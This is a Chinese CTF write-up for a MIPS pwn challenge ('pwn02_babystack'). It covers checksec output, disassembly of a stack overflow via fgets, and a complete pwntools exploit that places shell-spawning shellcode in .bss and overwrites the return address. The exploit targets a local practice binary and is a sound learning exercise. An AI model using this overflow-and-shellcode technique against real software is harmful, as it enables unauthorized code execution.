>
>
CTFSHOW内部赛 pwn02_babystack
Surager
pwn02_babystack
$ file main
main: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, not stripped
$ checksec main
[*] '/mnt/e/wsl/baby_stack/main'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
mips架构pwn,告辞。
关于mips的指令和寄存器建议去搜索自行学习,https://zh.wikipedia.org/wiki/MIPS%E6%9E%B6%E6%A7%8B
这里只介绍几个比较重要的寄存器和指令:
| REGISTERNAME | USAGE |
| ------------ | ------------------------ |
| $a0 – $a3 | 传递函数参数 |
| $sp | 堆栈指针(Stack Pointer) |
| $fp | 帧指针(Frame Pointer) |
| $ra | 返回地址(return address) |
| COMMAND | USAGE |
| ----------- | ----------------------------------------------------------- |
| lb,lh,lw,ld | 从存储器中读取一个字节,半个字,一个字,两个字的数据到寄存器中 |
| li | 将一个值存放至目标寄存器 |
| move | 将一个另一个寄存器中的值存放到目标寄存器 |
| jr | 跳转到寄存器所指的位置 |
程序分析:
由于有RWX段,我们考虑跑shellcode。
lw $gp, 0x50+var_40($fp)
lui $v0, 0x40
addiu $a0, $v0, (aWelcomeToXcitc - 0x400000) # "Welcome to [XCITC-CTF]\nNow,Input Your "...
la $v0, puts
move $t9, $v0
jalr $t9 ; puts
nop
lw $gp, 0x50+var_40($fp)
la $v0, stdin
lw $v0, (stdin - 0x410D38)($v0)
la $a0, name # s
li $a1, 0x100 # n
move $a2, $v0 # stream
la $v0, fgets
move $t9, $v0
jalr $t9 ; fgets
先输出一个字符串,然后调用fgets向name里面读入0x100个字符。
.bss:00410C20 name: .space 1 # DATA XREF: LOAD:004003BC↑o
.bss:00410C20 # main+74↑o ...
name在bss段,bss段空间足够,考虑写入shellcode。
main函数返回时的操作:
lw $gp, 0x50+var_40($fp)
move $v0, $zero
move $sp, $fp
lw $ra, 0x50+var_4($sp)
lw $fp, 0x50+var_8($sp)
addiu $sp, 0x50
jr $ra
控制$ra返回到shellcode地址,需要覆盖栈中var_4。
lw $gp, 0x50+var_40($fp)
lui $v0, 0x40
addiu $a0, $v0, (aInputYourMessa - 0x400000) # "Input Your message:"
la $v0, puts
move $t9, $v0
jalr $t9 ; puts
nop
lw $gp, 0x50+var_40($fp)
la $v0, stdin
lw $v0, (stdin - 0x410D38)($v0)
addiu $v1, $fp, 0x50+var_38
move $a0, $v1 # s
li $a1, 0x100 # n
move $a2, $v0 # stream
la $v0, fgets
move $t9, $v0
jalr $t9 ; fgets
读入message时存入栈中var_38,读入字节超出限制。栈中变量信息:
var_40= -0x40
var_38= -0x38
var_8= -8
var_4= -4
得到覆盖填充字节数。
构造exp:
from pwn import *
r = process("./main")
context(arch = 'mips',endian = 'little')
bss = 0x00410c20+0x10
shellcode = "A"*0x10 + asm(shellcraft.sh())
payload = "a"*0x30 + p32(bss) + p32(bss)
r.recvuntil("Name:")
r.sendline(shellcode)
r.recvuntil("message:")
r.sendline(payload)
r.interactive()
v0id
牛逼牛逼牛逼!!!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论